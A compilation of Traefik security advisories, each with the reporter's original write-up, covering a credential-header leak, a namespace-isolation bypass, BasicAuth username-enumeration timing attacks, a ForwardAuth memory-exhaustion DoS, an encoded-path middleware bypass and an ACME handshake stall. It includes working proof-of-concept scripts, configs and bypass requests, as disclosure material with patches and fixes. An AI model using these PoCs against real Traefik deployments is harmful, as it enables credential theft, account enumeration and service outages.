- https://github.com/traefik/traefik/releases/tag/v2.11.44 - https://github.com/traefik/traefik/releases/tag/v3.6.15 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Description Traefik v3.6.13's supported HTTP errors middleware discloses sensitive request headers to the configured error page service when the original backend response matches the configured status range and the middleware takes its default header-forwarding path. In the reproduced configuration, the business router audit-customerrors@docker pointed to backend service audit-backend, attached middleware audit-leak@docker, and the middleware was configured with errors.status=500-599, errors.service=audit-error, and errors.query=/collect. A request to the business route caused the backend to return 500, after which Traefik created a secondary request to the error service and copied the original Authorization and Cookie headers into that cross-service request.
This is a normal feature path on an ordinary HTTP route. It does not depend on api.insecure, the dashboard, pprof, or a debug-only mode. The confidentiality boundary that breaks here is the service boundary between the original backend chain and the separate error page service: credentials that were only meant for the original backend are automatically delivered to another service.
The root cause is in pkg/middlewares/customerrors/customerrors.go:151-160:
go if len(c.forwardNginxHeaders) > 0 { utils.CopyHeaders(pageReq.Header, c.forwardNginxHeaders) pageReq.Header.Set("X-Code", strconv.Itoa(code)) pageReq.Header.Set("X-Format", req.Header.Get("Accept")) pageReq.Header.Set("X-Original-Uri", req.URL.RequestURI()) } else { utils.CopyHeaders(pageReq.Header, req.Header) }
Unless the NginxHeaders branch is explicitly used, the middleware copies the entire original request header map into the error page request. The documentation at docs/content/reference/routing-configuration/http/middlewares/errorpages.md:103-107 only states that Host is forwarded by default, so operators are not warned that Authorization, Cookie, and other authentication material are forwarded as well.
Steps To Reproduce 1. Deploy Traefik v3.6.13 with a normal business route that uses the supported errors middleware and points errors.service to a distinct service. The attached PoC uses BASEURL = "http://127.0.0.1:28080", APIBASEURL = "http://127.0.0.1:28180", ROUTERPATH = "/audit-customerrors", AUTHORIZATION = "Bearer audit-secret-token", and COOKIE = "sessionid=audit-cookie; theme=dark".
2. Start the two attached helper services customerrorsbackend.py and customerrorserror.py. The backend listens on port 8000 and always returns 500. The error service listens on port 8000 and returns the request method, path, and received headers as JSON. The PoC starts them with the router and middleware labels below so that the business request is handled by the backend, while the error page is fetched from the separate error service:
text traefik.http.routers.audit-customerrors.rule=PathPrefix(/audit-customerrors) traefik.http.routers.audit-customerrors.entrypoints=web traefik.http.routers.audit-customerrors.priority=100 traefik.http.routers.audit-customerrors.service=audit-backend traefik.http.routers.audit-customerrors.middlewares=audit-leak traefik.http.services.audit-backend.loadbalancer.server.port=8000 traefik.http.middlewares.audit-leak.errors.status=500-599 traefik.http.middlewares.audit-leak.errors.service=audit-error traefik.http.middlewares.audit-leak.errors.query=/collect
3. Confirm that Traefik has loaded the route and middleware. The attached customerrorsrouter.json shows that audit-customerrors@docker uses middleware audit-leak@docker, and the attached customerrorsmiddleware.json shows that the middleware is enabled with status 500-599, service audit-error, and query /collect.
4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:
bash curl -i \ -H 'Authorization: Bearer audit-secret-token' \ -H 'Cookie: sessionid=audit-cookie; theme=dark' \ http://127.0.0.1:28080/audit-customerrors
5. Observe that the backend returns 500, Traefik internally requests /collect from the error service, and the error service receives the original Authorization and Cookie headers. The attached manualcurlcustomerrors.txt response shows the leaked headers directly, and the attached poccustomerrorsheaderleak.output.txt execution log shows the same result from the automated PoC.
Recommendations The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.
PoC The main PoC attachment is poccustomerrorsheaderleak.py.
python import json import os import subprocess import sys import time import urllib.error import urllib.request from pathlib import Path
TARGET = "traefik customErrors sensitive header leak" BASEURL = "http://127.0.0.1:28080" APIBASEURL = "http://127.0.0.1:28180" TRAEFIKCONTAINER = "traefik-openclaw" NETWORK = "" DOCKERIMAGE = "python:3.12-alpine" BACKENDCONTAINER = "traefik-audit-backend" ERRORCONTAINER = "traefik-audit-error" ROUTERNAME = "audit-customerrors" ROUTERPATH = "/audit-customerrors" AUTHORIZATION = "Bearer audit-secret-token" COOKIE = "sessionid=audit-cookie; theme=dark" TIMEOUTSECONDS = 10 ROUTERWAITSECONDS = 20
EVIDENCEDIR = Path(file).resolve().parent BACKENDSCRIPT = EVIDENCEDIR / "customerrorsbackend.py" ERRORSCRIPT = EVIDENCEDIR / "customerrorserror.py"
def runcommand(command): print(f"$ {' '.join(command)}") completed = subprocess.run(command, captureoutput=True, text=True, check=True) stdout = completed.stdout.strip() stderr = completed.stderr.strip() if stdout: print(stdout) if stderr: print(stderr) return stdout
def removecontainer(name): subprocess.run(["docker", "rm", "-f", name], captureoutput=True, text=True)
def detectnetwork(): if NETWORK: return NETWORK
output = runcommand( ["docker", "inspect", TRAEFIKCONTAINER, "--format", "{{json .NetworkSettings.Networks}}"] ) networks = json.loads(output) networknames = sorted(networks.keys()) if not networknames: raise RuntimeError("No docker network found for Traefik container") return networknames[0]
def ensureimage(): runcommand(["docker", "pull", DOCKERIMAGE])
def starterrorcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", ERRORCONTAINER, "--network", networkname, "-v", f"{ERRORSCRIPT}:/srv/error.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000", DOCKERIMAGE, "python", "/srv/error.py", ] )
def startbackendcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", BACKENDCONTAINER, "--network", networkname, "-v", f"{BACKENDSCRIPT}:/srv/backend.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", f"traefik.http.routers.{ROUTERNAME}.rule=PathPrefix({ROUTERPATH})", "-l", f"traefik.http.routers.{ROUTERNAME}.entrypoints=web", "-l", f"traefik.http.routers.{ROUTERNAME}.priority=100", "-l", f"traefik.http.routers.{ROUTERNAME}.service=audit-backend", "-l", f"traefik.http.routers.{ROUTERNAME}.middlewares=audit-leak", "-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000", "-l", "traefik.http.middlewares.audit-leak.errors.status=500-599", "-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error", "-l", "traefik.http.middlewares.audit-leak.errors.query=/collect", DOCKERIMAGE, "python", "/srv/backend.py", ] )
def fetchjson(url, headers=None): request = urllib.request.Request(url, headers=headers or {}, method="GET") try: response = urllib.request.urlopen(request, timeout=TIMEOUTSECONDS) except urllib.error.HTTPError as exc: response = exc
with response: return json.loads(response.read().decode())
def waitforrouter(): deadline = time.time() + ROUTERWAITSECONDS while time.time() < deadline: try: data = fetchjson(f"{APIBASEURL}/api/rawdata") if f"{ROUTERNAME}@docker" in data.get("routers", {}): return data except Exception: pass time.sleep(1) raise RuntimeError("Timed out waiting for router")
def triggerrequest(): headers = { "Authorization": AUTHORIZATION, "Cookie": COOKIE, } return fetchjson(f"{BASEURL}{ROUTERPATH}", headers=headers)
def validate(responsejson): leakedheaders = responsejson.get("headers", {}) leakedauth = leakedheaders.get("Authorization") leakedcookie = leakedheaders.get("Cookie")
print("Response JSON:") print(json.dumps(responsejson, indent=2, sortkeys=True))
if leakedauth != AUTHORIZATION: raise RuntimeError(f"Authorization not leaked as expected, got: {leakedauth!r}") if leakedcookie != COOKIE: raise RuntimeError(f"Cookie not leaked as expected, got: {leakedcookie!r}")
print("Validation result: error page service received the original Authorization and Cookie.")
def main(): print(f"TARGET={TARGET}") networkname = detectnetwork() print(f"Using docker network: {networkname}")
removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER)
try: ensureimage() starterrorcontainer(networkname) startbackendcontainer(networkname) waitforrouter() responsejson = triggerrequest() validate(responsejson) finally: removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER) print("Cleaned up temporary containers.")
if name == "main": try: main() except subprocess.CalledProcessError as exc: if exc.stdout: print(exc.stdout) if exc.stderr: print(exc.stderr, file=sys.stderr) raise
Supporting backend helper used by the PoC, from customerrorsbackend.py:
python from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(500) self.sendheader("Content-Type", "text/plain; charset=utf-8") self.endheaders() self.wfile.write(b"backend forced 500\n")
def logmessage(self, format, args): return
def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()
if name == "main": main()
Supporting error service helper used by the PoC, from customerrorserror.py:
python import json from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler): def doGET(self): body = json.dumps( { "method": self.command, "path": self.path, "headers": {key: value for key, value in self.headers.items()}, }, indent=2, sortkeys=True, ).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json; charset=utf-8") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def logmessage(self, format, args): return
def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()
if name == "main": main()
Evidence Files customerrorsmiddleware.json proves that the active middleware is the supported errors middleware and that it was configured with status 500-599, service audit-error, and query /collect.
json { "errors": { "status": [ "500-599" ], "service": "audit-error", "query": "/collect" }, "status": "enabled", "usedBy": [ "audit-customerrors@docker" ], "name": "audit-leak@docker", "provider": "docker", "type": "errors" }
customerrorsrouter.json proves that the business router audit-customerrors@docker was enabled on the web entrypoint, routed to audit-backend, and used middleware audit-leak@docker.
json { "entryPoints": [ "web" ], "middlewares": [ "audit-leak@docker" ], "service": "audit-backend", "rule": "PathPrefix(/audit-customerrors)", "priority": 100, "observability": { "accessLogs": true, "metrics": true, "tracing": true, "traceVerbosity": "minimal" }, "status": "enabled", "using": [ "web" ], "name": "audit-customerrors@docker", "provider": "docker", "priorityStr": "100" }
manualcurlcustomerrors.txt proves that a direct request through Traefik caused the separate error service to receive the original Authorization and Cookie values.
text HTTP/1.1 500 Internal Server Error Content-Length: 461 Content-Type: application/json; charset=utf-8 Date: Mon, 13 Apr 2026 13:09:58 GMT Server: BaseHTTP/0.6 Python/3.12.13
{ "headers": { "Accept": "/", "Accept-Encoding": "gzip", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "curl/8.7.1", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" }
poccustomerrorsheaderleak.output.txt is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.
text Response JSON: { "headers": { "Accept-Encoding": "identity", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "Python-urllib/3.14", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" } Validation result: error page service received the original Authorization and Cookie.
Impact Any deployment that uses the supported errors middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.
</details>
Summary
There is a vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement.
When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same restriction to middleware references nested inside a Chain middleware's spec.chain.middlewares[]. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary When providers.kubernetesCRD.allowCrossNamespace=false, Traefik still allows a namespace-local Middleware of type Chain to reference middleware objects from another namespace via spec.chain.middlewares[].namespace.
This bypasses the documented cross-namespace restriction and allows an actor with permission to create or update Traefik CRDs in namespace A to bind middleware defined in namespace B to routes in namespace A.
Details Traefik documents allowCrossNamespace as the control that governs whether IngressRoute objects may reference resources in other namespaces.
Direct middleware references from IngressRoute.routes[].middlewares[] are validated in pkg/provider/kubernetes/crd/kuberneteshttp.go by makeMiddlewareKeys(...), which rejects cross-namespace references when allowCrossNamespace is disabled.
However, nested middleware references inside Middleware.spec.chain.middlewares[] follow a different code path. createChainMiddleware(...) in pkg/provider/kubernetes/crd/kubernetes.go does not receive or enforce allowCrossNamespace; it resolves mi.Namespace (or defaults to the current namespace) and appends makeID(ns, mi.Name) unconditionally.
At runtime, pkg/server/middleware/middlewares.go qualifies and builds config.Chain.Middlewares, so the cross-namespace middleware is actually loaded and used.
This was verified on the current master at commit 786f7192e11878dfaa634f8263bf79bb730a71cb.
This appears related to earlier cross-namespace hardening work, but the surviving issue is a distinct nested Chain middleware code path rather than the already-guarded direct reference path.
Expected behavior When providers.kubernetesCRD.allowCrossNamespace=false, any middleware reference that resolves to an object in another namespace should be rejected, whether referenced directly from an IngressRoute or indirectly through a local Chain middleware.
Actual behavior A namespace-local Chain middleware can reference spec.chain.middlewares[].namespace in another namespace, and Traefik resolves and applies that middleware even when cross-namespace references are disabled.
Attacker prerequisites The attacker must have permission to create or update Traefik CRDs in a namespace they control, but does not need permission to modify resources in the target namespace.
PoC 1. Run Traefik with the Kubernetes CRD provider and set allowCrossNamespace: false.
2. Create two namespaces, for example default and cross-ns.
3. Apply a middleware in cross-ns:
yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: victim-strip namespace: cross-ns spec: stripPrefix: prefixes: - /secret
4. Apply a chain middleware in default that references the middleware above:
yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: mychain namespace: default spec: chain: middlewares: - name: victim-strip namespace: cross-ns
5. Apply an IngressRoute in default that references only the local mychain middleware:
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: demo namespace: default spec: entryPoints: - web routes: - match: Host(example.test) && PathPrefix(/demo) kind: Rule middlewares: - name: mychain services: - name: whoami port: 80
6. Observe that Traefik accepts the configuration and resolves the resulting chain to the middleware from cross-ns even though allowCrossNamespace is disabled.
7. As a control, replace the local chain reference in the IngressRoute with a direct cross-namespace middleware reference. That direct reference is rejected when allowCrossNamespace=false, which indicates the bypass is specific to nested Chain middleware resolution.
Impact
This is an authorization / trust-boundary bypass in Traefik's Kubernetes CRD provider.
Clusters that rely on providers.kubernetesCRD.allowCrossNamespace=false for namespace isolation are affected. An actor who is allowed to create or update Traefik CRDs in their own namespace can still cause Traefik to apply middleware from another namespace by referencing it indirectly through a local Chain middleware.
The practical impact depends on which middleware objects exist in the other namespace, but this can allow unauthorized reuse of security-sensitive or policy-bearing middleware across namespace boundaries. Examples include request modification, header manipulation, authentication or forward-auth related behavior, and other traffic-handling policies that were intended to remain namespace-scoped.
Testers have not verified unauthenticated remote compromise, code execution, or universal cross-tenant data exposure. The core issue is that a documented isolation control can be bypassed through the nested Chain middleware reference path.
</details>
Summary
There is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.
The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion
TL;DR
The patch for CVE-2026-32595 is a no-op. Line 49 of basicauth.go has a map key/value confusion that makes notFoundSecret always "". The "constant time" fallback calls goauth.CheckSecret(password, ""), which fast-fails in ~1us instead of running bcrypt (~60ms).
Evidence (HEAD 786f7192e, 2026-04-09)
Black-box PoC against live traefik binary on port 28080:
| bucket | n | median | min | |------------------------------|-----|----------|----------| | existing user (wrong pw) | 240 | 62.85 ms | 57.54 ms | | nonexistent user (wrong pw) | 400 | 0.48 ms | 0.35 ms |
Median ratio: 130.4x. Classification: 8/8 correct.
Go in-tree test: goauth.CheckSecret direct ratio 12,746x.
Root cause (4-step trace)
1. basicauth.go:49: users[slices.Collect(maps.Values(users))[0]] -- looks up a hash as a username key, returns "". 2. basicauth.go:119-120: calls goauth.CheckSecret(password, ""). 3. go-http-auth/basic.go:87: empty string matches no prefix, falls to default compareMD5HashAndPassword. 4. basic.go:107-109: bytes.SplitN("", "$", 4) returns length 1, function returns instantly.
Files
- poc/exploit.py -- black-box Python timing oracle - poc/basicauthtimingregressiontest.go -- Go in-tree test - poc/traefik.yml + poc/dynamic.yml -- traefik config - poc/livehttppocoutputhead.txt -- verbatim PoC output on HEAD
Koda Reef
</details>
---
Summary
There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.
When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.
Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms
This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.
Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.
Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.
PoC Environment: - Traefik v3.6.9 - k3s v1.34.5
Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80
PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20
[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s
Timing difference ratio: 298.0x
Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None
</details>
---
Impact
There is a potential vulnerability in Traefik managing the ForwardAuth middleware responses.
When Traefik is configured to use the ForwardAuth middleware, the response body from the authentication server is read entirely into memory without any size limit. There is no maxResponseBodySize configuration to restrict the amount of data read from the authentication server response. If the authentication server returns an unexpectedly large or unbounded response body, Traefik will allocate unlimited memory, potentially causing an out-of-memory (OOM) condition that crashes the process.
This results in a denial of service for all routes served by the affected Traefik instance.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9
Workarounds
No workaround available.
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Summary
The ForwardAuth middleware reads the entire authentication server response body into memory using io.ReadAll with no size limit. A single HTTP request through a ForwardAuth-protected route can cause the Traefik process to allocate gigabytes of memory and be killed by the OOM killer, resulting in complete denial of service for all routes on the affected entrypoint.
Details
In pkg/middlewares/auth/forward.go, line 213:
body, readError := io.ReadAll(forwardResponse.Body)
When the ForwardAuth middleware receives a response from the configured authentication server, it calls io.ReadAll on the response body without any size constraint. If the auth server returns a large or infinite chunked response, Traefik will attempt to buffer the entire body in memory until the process is killed.
Traefik already recognizes this class of risk for the request body direction. When forwardBody: true is configured without maxBodySize, a warning is logged (line 91-94):
logger.Warn().Msgf("ForwardAuth 'maxBodySize' is not configured with 'forwardBody: true', allowing unlimited request body size ...")
However, the response body path has no equivalent protection — no configuration option, no warning, and no default limit. The HTTP client has a 30-second timeout (line 102), but a streaming response can deliver hundreds of megabytes per second within that window.
| Direction | Protection | Code | |-----------|-----------|------| | Request body to auth server | maxBodySize config + warning log | forward.go:85-95 | | Auth server response to Traefik | None | forward.go:213 |
PoC
1. Create a malicious auth server (authinfinite.py):
from http.server import BaseHTTPRequestHandler, HTTPServer
class InfiniteAuth(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Transfer-Encoding", "chunked") self.endheaders() chunk = b"A" (64 1024) try: while True: self.wfile.write(f"{len(chunk):x}\r\n".encode()) self.wfile.write(chunk + b"\r\n") self.wfile.flush() except BrokenPipeError: pass
HTTPServer(("0.0.0.0", 9000), InfiniteAuth).serveforever()
2. Traefik dynamic config (dynamic.yml):
http: routers: protected: entryPoints: [web] rule: "PathPrefix('/admin')" middlewares: [auth] service: whoami middlewares: auth: forwardAuth: address: "http://auth:9000/auth" services: whoami: loadBalancer: servers: - url: "http://whoami:80"
3. Docker Compose (docker-compose.yml):
services: traefik: image: traefik:v3.6 command: - --entrypoints.web.address=:8000 - --providers.file.filename=/etc/traefik/dynamic.yml ports: - "8000:8000" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro deploy: resources: limits: memory: 512M dependson: [auth, whoami] auth: image: python:3.12-slim command: ["python", "/app/authinfinite.py"] volumes: - ./authinfinite.py:/app/authinfinite.py:ro whoami: image: traefik/whoami:v1.11
4. Reproduce:
docker compose up -d docker stats --no-stream traefik # ~14 MiB curl -s -o /dev/null http://localhost:8000/admin docker inspect traefik --format '{{.State.OOMKilled}}' # true docker inspect traefik --format '{{.State.ExitCode}}' # 137 (SIGKILL)
Observed results:
| Scenario | Memory | |----------|--------| | Idle baseline (20 seconds) | 14.8 MiB to 14.8 MiB (no change) | | 10 normal requests (4-byte auth response) | 14.8 MiB to 15.8 MiB (+1 MiB) | | 1 malicious request (no memory limit) | 98 MiB to 1.43 GiB (14.6x amplification) | | 1 malicious request (512MB memory limit) | 14 MiB to OOM kill in less than 3 seconds |
After OOM kill, all routes on the entrypoint become unreachable — complete service outage.
Impact
This is a denial-of-service vulnerability. Any Traefik instance using the ForwardAuth middleware is affected. A single HTTP request can crash the Traefik process, causing a full outage for all services behind the affected entrypoint.
Realistic attack scenarios include:
- Multi-tenant platforms where tenants configure their own ForwardAuth endpoints (SaaS, PaaS, Kubernetes ingress controllers) - Compromised or buggy auth servers that return unexpected large responses - Defense in depth: even trusted auth servers should not be able to crash the proxy
Suggested Fix
Apply io.LimitReader to the auth response body, mirroring the existing maxBodySize pattern for request bodies:
const defaultMaxAuthResponseSize int64 = 1 << 20 // 1 MiB limitedBody := io.LimitReader(forwardResponse.Body, defaultMaxAuthResponseSize) body, readError := io.ReadAll(limitedBody)
Optionally expose a maxResponseBodySize configuration option for operators who need larger auth response bodies.
</details>
Impact
There is a potential vulnerability in Traefik managing the requests using a PathPrefix, Path or PathRegex matcher.
When Traefik is configured to route the requests to a backend using a matcher based on the path; if the request path contains an encoded restricted character from the following set ('/', '\', 'Null', ';', '?', '#'), it’s possible to target a backend, exposed using another router, by-passing the middlewares chain.
Example
yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: my-service spec: routes: - match: PathPrefix(‘/admin/’) kind: Rule services: - name: service-a port: 8080 middlewares: - name: my-security-middleware - match: PathPrefix(‘/’) kind: Rule services: - name: service-a port: 8080
In such a case, the request http://mydomain.example.com/admin%2F will reach the backend service-a without operating the middleware my-security-middleware and passing the security put in place for the /admin/ path.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.32 - https://github.com/traefik/traefik/releases/tag/v3.6.4
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>### Summary A vulnerability exists in Traefik’s path matching logic that allows attackers to bypass access-control middleware (e.g., blocking rules) by using URL-encoded paths. I found this vulnerability while playing PwnSec CTF 2025 with my team @0xL4ugh
Details Traefik evaluates router rules before decoding or normalizing the request path, but forwards the request after decoding to the backend service. As a result, routes meant to block access to sensitive endpoints (such as internal, beta, or admin endpoints) can be trivially bypassed.
PoC Traefik configuration used in this issue : [http.routers.flask-router-report-deny] entryPoints = ["web"] rule = "PathPrefix(/reportnote)" priority = 10 middlewares = ["block-access"] service = "flask-service"
[http.middlewares.block-access.replacePathRegex] regex = "." replacement = "/blocked" The intention is to block all access to /reportnote.
However, the following request bypasses the block: POST /%2freportnote HTTP/1.1 Host: localhost:62814
Impact Access Control Bypass: Any endpoint intended to be blocked (e.g., admin/debug/beta APIs) can be accessed by URL-encoding slashes or other characters.
This could lead to:
- Unauthorized access to restricted endpoints - Execution of protected internal functionality - Potential privilege escalation - Bypass of security policies enforced via Traefik routing rules </details>
Impact
There is a potential vulnerability in Traefik ACME TLS certificates' automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.
A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.35 - https://github.com/traefik/traefik/releases/tag/v3.6.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
\[Security\] ACME TLS-ALPN fast path lacks timeouts and close on handshake stall
Dear Traefik security team,
We believe we have identified a resource-exhaustion issue in the ACME TLS-ALPN fast path that can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.
Summary
- Affected code: pkg/server/router/tcp/router.go (ACME TLS-ALPN handling). - When a ClientHello advertises acme-tls/1, Traefik intercepts it and calls tls.Server(...).Handshake() without any read/write deadlines and without closing the connection afterward. - Immediately before this branch, existing deadlines set by the entrypoint are cleared. - A client that sends the ALPN marker and then stops responding can keep the goroutine and socket open indefinitely, potentially exhausting the entrypoint under load. - Exposure is limited to entrypoints where the ACME TLS-ALPN challenge is enabled and ACME bypass is not allowed.
Relevant snippets 143:171:pkg/server/router/tcp/router.go // Deadlines are cleared before protocol dispatch if err := conn.SetDeadline(time.Time{}); err != nil { log.Error().Err(err).Msg("Error while setting deadline") }
// ACME TLS-ALPN fast path if !r.acmeTLSPassthrough && slices.Contains(hello.protos, tlsalpn01.ACMETLS1Protocol) { r.acmeTLSALPNHandler().ServeTCP(r.GetConn(conn, hello.peeked)) return }
224:226:pkg/server/router/tcp/router.go // Handler invoked by the branch above return tcp.HandlerFunc(func(conn tcp.WriteCloser) { = tls.Server(conn, r.httpsTLSConfig).Handshake() })
Impact
- Each stalled handshake consumes a goroutine and FD with no timeout and no server-side close. - A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint. - Normal HTTPS handling uses http.Server timeouts; this bespoke path bypasses them.
Conditions for exploitation
- ACME TLS-ALPN challenge enabled (default when configured). - allowACMEByPass disabled for the entrypoint (the default when ACME TLS challenge is handled by Traefik).
CWE
- CWE-400: Uncontrolled Resource Consumption.
Proposed fix (illustrative)
@@ func (r Router) acmeTLSALPNHandler() tcp.Handler { - return tcp.HandlerFunc(func(conn tcp.WriteCloser) { - = tls.Server(conn, r.httpsTLSConfig).Handshake() - }) + return tcp.HandlerFunc(func(conn tcp.WriteCloser) { + // Ensure the handshake cannot block indefinitely and always closes the socket. + = conn.SetReadDeadline(time.Now().Add(10 time.Second)) + = conn.SetWriteDeadline(time.Now().Add(10 time.Second)) + + tlsConn := tls.Server(conn, r.httpsTLSConfig) + = tlsConn.Handshake() + = tlsConn.Close() // close regardless of handshake outcome + }) }
